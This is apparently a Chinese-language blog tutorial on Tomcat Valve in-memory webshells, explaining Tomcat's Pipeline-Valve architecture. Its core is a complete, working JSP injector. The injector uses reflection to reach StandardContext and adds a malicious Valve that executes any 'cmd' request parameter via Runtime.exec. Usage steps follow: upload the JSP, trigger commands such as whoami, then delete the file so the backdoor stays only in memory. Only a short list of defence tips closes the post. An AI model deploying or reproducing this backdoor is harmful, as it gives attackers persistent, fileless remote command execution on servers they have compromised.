Loading ...
Java 内存马(五):Tomcat Valve 内存马

Java 内存马(五):Tomcat Valve 内存马

1. 基本概念

Tomcat Valve 内存马 是利用 Tomcat 中间件私有 Pipeline-Valve(管道 – 阀门)架构,在运行时动态注入恶意 Valve 组件的内存马。其核心是借助 Valve 对请求的拦截优先级优势,实现对 Tomcat 容器内所有请求的前置控制,具备隐蔽性强、触发范围广的特点。

核心特性

  • 中间件私有机制:依赖 Tomcat 专属的 Pipeline-Valve 架构实现,不依赖通用 Servlet API,与 Servlet/Filter/Listener 等组件完全独立。

  • 请求拦截优先级最高:在 Tomcat 请求处理链路中,Valve 的执行顺序早于 Filter、Servlet 及 Spring 框架的 Controller/Interceptor,可优先拦截所有请求。

  • 全局生效:注入到某一层容器(如 Context、Host)的 Valve,会对该容器管辖范围内的所有请求生效,无需绑定特定 URL。

  • 无文件落地:恶意 Valve 全程在 JVM 内存中定义、注册,不依赖磁盘上的 .class 文件或配置文件,常规文件查杀无法检测。

常见利用场景

  • 攻击者通过代码执行漏洞(如 Log4j2 漏洞、Struts2 漏洞)向 Tomcat 服务器注入恶意代码,动态注册 Valve。

  • 注入后通过任意请求携带参数(如 cmd)触发命令执行,无需记忆特定后门路径。

  • 即使删除初始触发文件(如恶意 JSP),注入的 Valve 仍会随 Tomcat 容器运行驻留内存,作为长期控制后门。

2. Tomcat Valve 装载流程(开发者视角)

正常情况下,Tomcat 中 Valve 的配置需通过服务器配置文件(如 server.xmlcontext.xml)或应用内配置实现,流程如下:

2.1 定义自定义 Valve 类

自定义 Valve 需继承 Tomcat 提供的 ValveBase 抽象类,重写 invoke 方法实现请求处理逻辑(如日志记录、权限校验):

package com.example.tomcat.valve;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;
import javax.servlet.ServletException;
import java.io.IOException;

// 自定义 Valve,实现请求日志记录功能
public class LogValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        // 前置处理:记录请求 URL 和客户端 IP
        String clientIp = request.getRemoteAddr();
        String requestUrl = request.getRequestURI();
        System.out.println("[LogValve] Client IP: " + clientIp + ", Request URL: " + requestUrl);
        
        // 调用下一个 Valve(保证请求链路不中断)
        if (getNext() != null) {
            getNext().invoke(request, response);
        }
    }
}

2.2 配置 Valve 到 Tomcat 容器

通过 context.xml(应用级配置)将自定义 Valve 注册到 Context 容器,使其对当前应用的所有请求生效:

<!-- 应用内 META-INF/context.xml -->
<Context>
    <!-- 注册自定义 LogValve,优先级高于默认 Valve -->
    <Valve className="com.example.tomcat.valve.LogValve" />
</Context>

2.3 Tomcat 加载流程

  1. Tomcat 启动时,解析 context.xml 配置文件,识别 <Valve> 节点。

  2. 根据 className 加载自定义 Valve 类,创建 Valve 实例。

  3. 将 Valve 实例添加到当前应用对应的 StandardContext 容器的 Pipeline 中。

  4. 客户端请求到达时,请求先经过 Pipeline 中的所有自定义 Valve,再传递到后续的 Filter、Servlet 组件。

3. Tomcat Valve 加载流程(容器内部机制)

要理解 Valve 内存马的实现,需先掌握 Tomcat 核心的 容器层级Pipeline-Valve 架构

3.1 Tomcat 四大核心容器

Tomcat 采用分层容器结构管理请求,从顶层到下层依次为:

容器类型 作用 示例实现类
Engine 顶层容器,管理所有虚拟主机(Host),根据请求域名匹配 Host org.apache.catalina.core.StandardEngine
Host 代表一个虚拟主机,管理多个应用(Context),根据请求路径匹配 Context org.apache.catalina.core.StandardHost
Context 对应一个 Web 应用,管理所有 Servlet、Filter 等资源,隔离应用间类加载器 org.apache.catalina.core.StandardContext
Wrapper 管理单个 Servlet 的生命周期,负责调用 Servlet 的 service 方法 org.apache.catalina.core.StandardWrapper

请求传递顺序:Engine → Host → Context → Wrapper,最终到达 Servlet。

3.2 Pipeline-Valve 架构原理

  • Pipeline(管道):每个容器(Engine/Host/Context/Wrapper)内部都有一个专属 Pipeline,是请求处理的 “通道”。 每个 Pipeline 包含一个 Basic Valve(基础阀门),位于 Pipeline 执行顺序的最后,负责将请求传递到下一层容器的 Pipeline(如 Context 的 Basic Valve 会将请求传递给 Wrapper 的 Pipeline)。

  • Valve(阀门):可插拔的请求处理单元,每个 Valve 负责一项独立功能(如日志、权限校验)。 自定义 Valve 通过 addValve() 方法添加到 Pipeline 中,执行顺序早于 Basic Valve,且多个自定义 Valve 按添加顺序依次执行。

3.3 核心接口与类

  • Pipeline 接口:定义管道的核心操作,关键方法包括:

    • addValve(Valve valve):向管道添加自定义 Valve。

    • getValves():获取管道中所有 Valve 实例。

    • getBasic():获取管道的 Basic Valve。

  • Valve 接口:定义阀门的请求处理逻辑,核心方法 invoke(Request request, Response response) 用于处理请求并传递到下一个 Valve。

  • ValveBase 抽象类:实现 Valve 接口的基础类,自定义 Valve 需继承此类,无需手动处理 Valve 链路传递(通过 getNext()setNext() 管理下一个 Valve)。

3.4 正常加载流程拆解

  1. 容器初始化:Tomcat 启动时,每个容器(如 StandardContext)会初始化自身的 Pipeline(默认实现为 StandardPipeline)。

  2. 解析配置:ContextConfig 组件解析 context.xmlweb.xml 中的 Valve 配置,创建 Valve 实例。

  3. 添加到 Pipeline:调用 Pipeline.addValve(Valve) 方法,将自定义 Valve 加入 Pipeline 的 Valve 列表。

  4. 请求处理:客户端请求到达时,容器的 Pipeline 依次调用所有自定义 Valve 的 invoke 方法,最后调用 Basic Valve 传递请求到下一层容器。

4. Valve 内存马实现机制

Valve 内存马的核心是 跳过配置文件解析步骤,通过反射获取 Tomcat 容器的 Pipeline 对象,直接动态添加恶意 Valve。实现步骤如下:

4.1 核心思路

  1. 定义恶意 Valve:继承 ValveBase,在 invoke 方法中实现恶意逻辑(如命令执行、请求劫持)。

  2. 获取目标容器:通过 ServletRequest 反射逐层获取 StandardContext(应用级容器,覆盖范围最适合内存马)。

  3. 获取 Pipeline:调用容器的 getPipeline() 方法获取 Pipeline 对象。

  4. 注册恶意 Valve:调用 Pipeline.addValve() 方法,将恶意 Valve 注入 Pipeline。

5. 示例代码(JSP Valve 内存马)

以下代码通过 JSP 脚本实现 Valve 内存马注入,注入后可通过任意请求携带 cmd 参数执行系统命令:

<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%!
// 1. 定义恶意 Valve,继承 ValveBase 并重写 invoke 方法
public class MaliciousValve extends ValveBase {
    @Override
    public void invoke(Request req, Response resp) throws IOException, ServletException {
        // 恶意逻辑:获取请求中的 cmd 参数,执行系统命令
        String cmd = req.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            // 执行系统命令
            Process process = Runtime.getRuntime().exec(cmd);
            BufferedReader br = new BufferedReader(
                    new InputStreamReader(process.getInputStream(), "GBK") // 适配 Windows 中文编码
            );
            
            // 将命令执行结果写入响应
            resp.setContentType("text/plain;charset=GBK");
            String line;
            while ((line = br.readLine()) != null) {
                resp.getWriter().println(line);
            }
            br.close();
            process.destroy();
            return; // 命令执行后可选择终止请求传递,避免后续组件干扰
        }
        
        // 若无恶意参数,继续传递请求到下一个 Valve
        if (getNext() != null) {
            getNext().invoke(req, resp);
        }
    }
}
%>

<%
// 2. 反射获取 StandardContext 容器(核心步骤)
try {
    // 2.1 从 request 获取 ServletContext(应用上下文)
    ServletContext servletContext = request.getServletContext();
    
    // 2.2 反射获取 ServletContext 内部的 ApplicationContext(Tomcat 封装的上下文)
    Field appCtxField = servletContext.getClass().getDeclaredField("context");
    appCtxField.setAccessible(true); // 突破访问权限限制
    ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);
    
    // 2.3 反射获取 ApplicationContext 内部的 StandardContext(最终目标容器)
    Field stdCtxField = appCtx.getClass().getDeclaredField("context");
    stdCtxField.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);
    
    // 3. 创建恶意 Valve 并添加到 StandardContext 的 Pipeline 中
    MaliciousValve maliciousValve = new MaliciousValve();
    standardContext.getPipeline().addValve(maliciousValve);
    
    out.println("Tomcat Valve 内存马注入成功!");
} catch (Exception e) {
    out.println("注入失败:" + e.getMessage());
    e.printStackTrace();
}
%>

6. 触发步骤

  1. 注入内存马

    • 将上述 JSP 脚本(命名为 inject_valve.jsp)上传到目标 Tomcat 服务器的 Web 应用根目录(如 webapps/ROOT/)。

    • 通过浏览器或工具访问该 JSP:http://目标IP:端口/inject_valve.jsp,页面显示 “Tomcat Valve 内存马注入成功!” 即表示注入完成。

  2. 触发恶意逻辑

    • 注入成功后,任意请求携带 cmd 参数即可触发命令执行,无需访问特定路径。 示例:执行 whoami 命令:http://目标IP:端口/任意路径?cmd=whoami

    • 若目标为 Windows 系统,可执行 dir 命令查看目录:http://目标IP:端口/?cmd=dir

  3. 持久化与清理

    • 注入后可删除 inject_valve.jsp,内存中的恶意 Valve 仍会驻留,直至 Tomcat 重启。

7. 总结

  • 核心原理:利用 Tomcat Pipeline-Valve 架构的可扩展性,通过反射获取容器 Pipeline,动态注入恶意 Valve,实现请求的前置拦截与恶意逻辑执行。

  • 与其他内存马对比

    内存马类型 触发方式 拦截优先级 生效范围
    Servlet 内存马 访问特定 URL 低(次于 Filter、Valve) 仅绑定的 URL
    Filter 内存马 匹配 URL 模式 中(次于 Valve) 匹配模式的请求
    Valve 内存马 任意请求 高(高于所有组件) 整个容器(如 Context)的所有请求
  • 关键 API

    • StandardContext.getPipeline():获取容器的 Pipeline 对象。

    • Pipeline.addValve(Valve):向 Pipeline 添加恶意 Valve。

    • ValveBase.invoke(Request, Response):重写该方法实现恶意逻辑。

  • 防御建议

    • 限制 Tomcat 应用的反射权限,禁止访问 org.apache.catalina 包下的私有类与方法。

    • 监控 Pipeline 中 Valve 的异常添加,定期检查 getValves() 返回的实例列表。

    • 避免使用存在代码执行漏洞的组件,防止攻击者注入恶意 Valve。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇